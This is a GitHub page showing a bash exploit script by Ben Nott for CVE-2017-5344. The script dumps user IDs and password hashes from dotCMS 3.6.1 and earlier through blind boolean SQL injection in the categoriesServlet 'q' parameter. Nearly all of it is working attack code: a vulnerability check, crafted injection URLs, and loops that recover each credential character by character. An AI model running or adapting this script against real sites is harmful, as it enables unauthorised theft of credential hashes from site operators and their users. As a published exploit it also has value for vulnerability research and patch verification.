Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
webapp-exploits/vendors/dotcms/2017.01.blind-sqli/dotcms-dump.sh
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
executable file
233 lines (201 sloc)
4.59 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection. | |
| # CVE: CVE-2017-5344 | |
| # Author: Ben Nott <pajexali@gmail.com> | |
| # Date: January 2017 | |
| # | |
| # Note this exploit is tuned for MySQL backends but can be adapted | |
| # for other DMBS's. | |
| show_usage() { | |
| echo "Usage $0 [target]" | |
| echo | |
| echo "Where:" | |
| echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)" | |
| echo | |
| echo "For example:" | |
| echo | |
| echo "$0 http://www.examplesite.com" | |
| echo "$0 https://www.mycmssite.com:9443" | |
| echo | |
| exit 1 | |
| } | |
| test_exploit() { | |
| target=$1 | |
| res=$(curl -k -s -X 'GET' \ | |
| -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \ | |
| "${target}/categoriesServlet?q=%5c%5c%27") | |
| if [ $? -ne 0 ]; | |
| then | |
| echo "Failed to connect. Check host and try again!" | |
| exit 1 | |
| fi | |
| if [ -z "$res" ]; | |
| then | |
| echo "The target appears vulnerable. We're good to go!" | |
| else | |
| echo "The target isn't vulnerable." | |
| exit 1 | |
| fi | |
| } | |
| dump_char() { | |
| target=$1 | |
| char=$2 | |
| database=$3 | |
| index=$4 | |
| offset=$5 | |
| column=$6 | |
| avg_delay=$7 | |
| if [ -z "$offset" ]; | |
| then | |
| offset=1 | |
| fi | |
| if [[ $char != *"char("* ]]; | |
| then | |
| char="%22${char}%22" | |
| fi | |
| if [ -z "$column" ]; | |
| then | |
| column="password_" | |
| fi | |
| # Controls the avg delay of a FALSE | |
| # request | |
| if [ -z "$avg_delay" ]; | |
| then | |
| avg_delay="0.100" | |
| fi | |
| res=$(curl -k -sS \ | |
| -w " %{time_total}" \ | |
| -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \ | |
| "${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23") | |
| data=$(echo $res | awk '{print $1}') | |
| rtt=$(echo $res | awk '{print $2}') | |
| # Calculate boolean based on time delay and | |
| # data presence. | |
| has_delay=$(echo "${rtt}>${avg_delay}" | bc -l) | |
| if [ ! -z "$data" ]; | |
| then | |
| if [ $has_delay -eq 1 ]; | |
| then | |
| echo "$char" | |
| fi | |
| fi | |
| } | |
| testdb() { | |
| target=$1 | |
| res=$(dump_char $target 1 "dotcms" 1 1) | |
| if [ ! -z "$res" ]; | |
| then | |
| echo "dotcms" | |
| else | |
| res=$(dump_char $target 1 "dotcms2") | |
| if [ ! -z "$res" ]; | |
| then | |
| echo "dotcms2" | |
| fi | |
| fi | |
| } | |
| convert_char() { | |
| char=$1 | |
| conv="$char" | |
| if [ "$char" == "char(58)" ]; | |
| then | |
| conv=":" | |
| elif [ "$char" == "char(47)" ]; | |
| then | |
| conv="/" | |
| elif [ "$char" == "char(61)" ]; | |
| then | |
| conv="=" | |
| elif [ "$char" == "char(45)" ]; | |
| then | |
| conv="-" | |
| fi | |
| echo -n "$conv" | |
| } | |
| a2chr() { | |
| a=$1 | |
| printf 'char(%02d)' \'$a | |
| } | |
| n2chr() { | |
| n=$1 | |
| printf 'char(%d)' $n | |
| } | |
| chr2a() { | |
| chr=$1 | |
| chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g') | |
| chr=`printf \\\\$(printf '%03o' $chr)` | |
| echo -n $chr | |
| } | |
| iter_chars() { | |
| target=$1 | |
| db=$2 | |
| user=$3 | |
| offset=$4 | |
| column=$5 | |
| for c in {32..36} {38..94} {96..126} | |
| do | |
| c=$(n2chr $c) | |
| res=$(dump_char $target $c $db $user $offset $column) | |
| if [ ! -z "$res" ]; | |
| then | |
| chr2a $res | |
| break | |
| fi | |
| done | |
| } | |
| exploit() { | |
| target=$1 | |
| db=$(testdb $target) | |
| if [ -z "$db" ]; | |
| then | |
| echo "Unable to identify database name used by dotcms instance!" | |
| exit 1 | |
| fi | |
| echo "Dumping users and passwords from database..." | |
| echo | |
| for user in $(seq 0 1023); | |
| do | |
| validuser=1 | |
| echo -n "| $user | " | |
| for offset in $(seq 1 1024); | |
| do | |
| res=$(iter_chars $target $db $user $offset "userid") | |
| if [ -z "$res" ]; | |
| then | |
| if [ $offset -eq 1 ]; | |
| then | |
| validuser=0 | |
| fi | |
| break | |
| fi | |
| echo -n "$res"; | |
| done | |
| if [ $validuser -eq 1 ]; | |
| then | |
| printf " | " | |
| else | |
| printf " |\n" | |
| break | |
| fi | |
| for offset in $(seq 1 1024); | |
| do | |
| res=$(iter_chars $target $db $user $offset "password_") | |
| if [ -z "$res" ]; | |
| then | |
| break | |
| fi | |
| echo -n "$res"; | |
| done | |
| printf " |\n" | |
| done | |
| echo | |
| echo "Dumping complete!" | |
| } | |
| target=$1 | |
| if [ -z "$target" ]; | |
| then | |
| show_usage | |
| fi | |
| test_exploit $target | |
| exploit $target |